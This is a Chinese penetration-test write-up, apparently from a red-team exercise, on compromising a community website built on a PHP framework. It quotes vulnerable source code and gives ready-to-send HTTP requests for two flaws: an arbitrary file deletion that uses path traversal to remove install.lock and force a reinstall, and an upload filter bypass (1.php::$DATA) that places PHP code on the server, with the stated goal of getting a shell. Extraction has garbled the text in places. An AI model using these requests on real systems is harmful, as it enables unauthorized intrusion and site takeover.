事情是这样的,在某次省hw的时候,对目标进行打点的时候,发现ip下存在四个域名,在一个域名中发现了beifen.zip文件,而网址的功能是一个社区类型的网址。
下载后打开,发现是程序的源码,sql文件都在里面。
找程序中找到的数据库的ip、账号、密码等信息,试试能不能连接。
审计源码,发现漏洞
既然连接不上,那么只能审计一下源码了,先拿工具扫一下。
经过查看,发现/application/index/controller/system/SystemUpgradeclient.php
中的setcopydel
方法可以任意提交参数。
可以看到以post方式接收了俩个参数,一个是id
,一个是ids
if (is_array($post[‘ids’])) {foreach ($post[‘ids’] as $file) {
$fileservice->del_dir(ROOT_PATH . ‘public’ . DS . ‘copyfile’ . $file);
}
}
if ($post[‘id’]) {
$copyFile = ROOT_PATH . ‘public’ . DS . ‘copyfile’ . $post[‘id’];
// echo $copyFile;exit;
$fileservice->del_file($copyFile);
}
ids
是需要数组的,然后拼接路径,传入$fileservice->del_dir()
方法中。id
没有类型判断,直接拼接路径传入$fileservice->del_file()
方法中。$fileservice->del_dir()
方法是删除目录
static function del_dir($dirName)
{
if (!file_exists($dirName)) # 判断文件或目录是否存在,不存在就返回false
{
return false;
}
$dir = opendir($dirName); # 打开一个目录,读取它的内容
while ($fileName = readdir($dir))
{
$file = $dirName . ‘/’ . $fileName;
if ($fileName != ‘.’ && $fileName != ‘..’)
{
if (is_dir($file)) # 判断是不是目录,是目录就在调用一次本身方法
{
self::del_dir($file);
}
else
{
unlink($file); # 删除文件
}
}
}
closedir($dir);
return rmdir($dirName); # 删除目录
}
$fileservice->del_file()
方法是删除文件\application\admin\controller\setting\SystemConfig.php
中的发现了view_upload
上传的方法。type
为3的时候是上传文件的,然后传入Upload::file
方法。php
,但是在win的系统中,可以通过以下的一些方法绕过。
.php..php(空格)
.php:1.jpg
.php::$DATA
.php::$DATA…….
等等、、、
1.php::$DATA
这样的方式可以绕过,构造的post数据包为:
POST /index.php/admin/setting.system_config/view_upload.html HTTP/1.1Host: xxx.com
Content-Length: 403
Cache-Control: max-age=0
Origin: http://xxx.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryP7jKNcoemK2sybZb
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://xxx.com/index.php/admin/setting.system_config/index_alone?tab_id=1
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=es9ef1h1c9i0t21brcrlqigfmt
Connection: close
——WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name=”file”
site_logo
——WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name=”type”
3
——WebKitFormBoundaryP7jKNcoemK2sybZb
Content-Disposition: form-data; name=”site_logo”; filename=”1.php::$DATA”
Content-Type: image/png
<?php
phpinfo();
?>
——WebKitFormBoundaryP7jKNcoemK2sybZb–
install
文件,根据经验知道程序安装文件都会在安装后创建一个文件,来判断是否已经安装,所以在看看是否和我想的一样。 install.lock
文件来判断是否安装成功,那么我们可以通过之前的任意文件删除漏洞来删除这个文件让系统进行重装。利用漏洞拿到shell
install.lock
文件的数据包:
POST /index.php/admin/system.System_Upgradeclient/setcopydel HTTP/1.1Host: www.xxx.wang
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.xxx.wang
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.xxx.wang/index.php/admin/system.System_Upgradeclient/setcopydel
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=8itmp7itfo1va6uu7bu0ouhgos
Connection: close
id=/../install/install.lock&ids=1
文章来源于酒仙桥六号部队